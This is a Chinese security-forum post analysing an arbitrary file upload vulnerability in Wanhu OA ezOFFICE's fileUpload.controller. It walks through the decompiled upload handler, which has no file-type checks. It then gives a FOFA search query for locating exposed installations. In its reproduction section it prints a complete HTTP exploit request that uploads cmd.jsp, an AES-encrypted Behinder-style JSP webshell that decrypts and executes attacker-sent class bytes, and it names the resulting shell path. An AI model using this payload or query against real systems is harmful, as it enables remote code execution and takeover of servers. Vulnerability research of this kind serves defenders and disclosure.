问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
万户OA fileUpload.controller 任意文件上传漏洞分析
漏洞分析
万户OA fileUpload.controller 任意文件上传漏洞分析
万户OA fileUpload.controller 任意文件上传漏洞分析 ===================================== 漏洞简介 ---- 万户软件网络是业内普遍认可的智慧政务办公专家,OA系统国家行业标准编制组长单位,协同软件国家行业标准编制组长单位,22年专注协同管理领域.为您提供定制化的智慧政务一体化办公解决方案。万户OA fileUpload.controller处存在任意文件上传漏洞,攻击者通过漏洞可以上传任意文件至服务器,导致服务器失陷。 漏洞分析 ---- 文件位置位于`\WEB-INF\classes\com\whir\evo\weixin\actionsupport\FileUploadAction.class`中,成功发现了该路由为`/upload/fileupload` ![image-20240909181212461](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-72e7a2e332c811cac6521ee8c8b53fff90e7fda7.png) 现在开始分析`fileupload`方法中的内容,首先是文件上传部分 ![image-20240909202937926](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-b3071f78437e9b636bfa3978f673f94c7af4e3ff.png) **分析**:首先是设置相应的文本类型,接着就是从请求中获取`modelName`参数的内容,判断`modelName`参数是否为空,若为空直接就是设置文件上传的路径`xxx/upload/html`中,反之就将路径设置为`xxx/modelName的内容/当前日期`的目录下并且判断文件是否存在,若不存在就新建一个文件夹 接着我们分析后面内容 ![image-20240909203758288](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-059c6a0728ebedfc3dc3a080e863a2507cd7f944.png) **分析**:在上述代码中,首先是实例化了一个`SysSetupReader`实例,接着调用`getSysSetupMap`方法,并传入参数`"0"`,获取一个`Map`对象。然后获取该`Map`的"上传附件"所对应的值得到文件上传的类型。接着就是从前端请求中获取到文件名,然后依次遍历所有的文件名,调用getFIle方法得到文件的一些基本信息;调用`getOriginalFilename`方法获取到文件原始名对其进行非空判断并将其赋值给`filename`,接着就是调用`createFileName`方法 ![image-20240909205635039](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-c1847b25a54554b9629eb59fefe23b62995a3509.png) 该方法得到文件后缀名后随机生成一个文件名 接着就是调用`saveFileFromInputStream`方法 ![image-20240909205957157](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-94dff9bd091bc3f629c194e029489d640c0fabf5.png) 该方法的参数 - `InputStream stream`:要保存文件的数据源。 - `String path`:文件保存的目录路径。 - `String fileName`:要保存的文件名。 该方法的作用是将从 `InputStream` 读取的数据保存到指定路径的文件中,接着将我们File对象返回 ![image-20240909210755197](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-ea5660b8aea2421ed54f42c9a283a485e54b820a.png) 接着就是检查文件是否成功保存,如果文件不存在,则抛出`FileNotFoundException`。然后设置回显数据包括文件名、result、data、fileSize的设置,接着创建一个新的`UploadFile`对象,调用`setFileSize`方法设置上传文件的信息,然后就是异常处理操作,最后将result传为Json格式在响应中显示出来 资产测绘 ---- **fofa** app="万户网络-ezOFFICE" ![image-20240909211217073](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-524c2171d67b6e74208014df2ef0a92f4ed05eb6.png) 漏洞复现 ---- **poc** POST /defaultroot/upload/fileUpload.controller HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0 Accept-Encoding: gzip, deflate Accept: \*/\* Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KPmtcldVGtT3s8kux\_aHDDZ4-A7wRsken5v0 Content-Length: 773 \--KPmtcldVGtT3s8kux\_aHDDZ4-A7wRsken5v0 Content-Disposition: form-data; name="file"; filename="cmd.jsp" Content-Type: application/octet-stream Content-Transfer-Encoding: binary <%@page import="java.util.\*,javax.crypto.\*,javax.crypto.spec.\*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte \[\]b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/\*......tas9er\*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%> \--KPmtcldVGtT3s8kux\_aHDDZ4-A7wRsken5v0-- ![img](https://cdn.nlark.com/yuque/0/2024/png/10358436/1721291374757-0d479d37-0011-44df-be38-d61a574066ac.png) 使用冰蝎连接木马 **/defaultroot/upload/html/xxxxxxxxxx.jsp** ![img](https://cdn.nlark.com/yuque/0/2024/png/10358436/1721291374871-fdfcf877-b3ae-4814-87ff-626ad92289f0.png?x-oss-process=image%2Fformat%2Cwebp) 漏洞总结 ---- 该漏洞形成的原因就是在整个文件上传的过程中没有对我们所上传文件的类型、后缀名等进行任何过滤操作,导致用户可以上传任意文件进而导致攻击者对该点的利用造成任意文件上传
发表于 2024-10-24 10:00:01
阅读 ( 845 )
分类:
OA产品
2 推荐
收藏
0 条评论
请先
登录
后评论
xhys
12 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!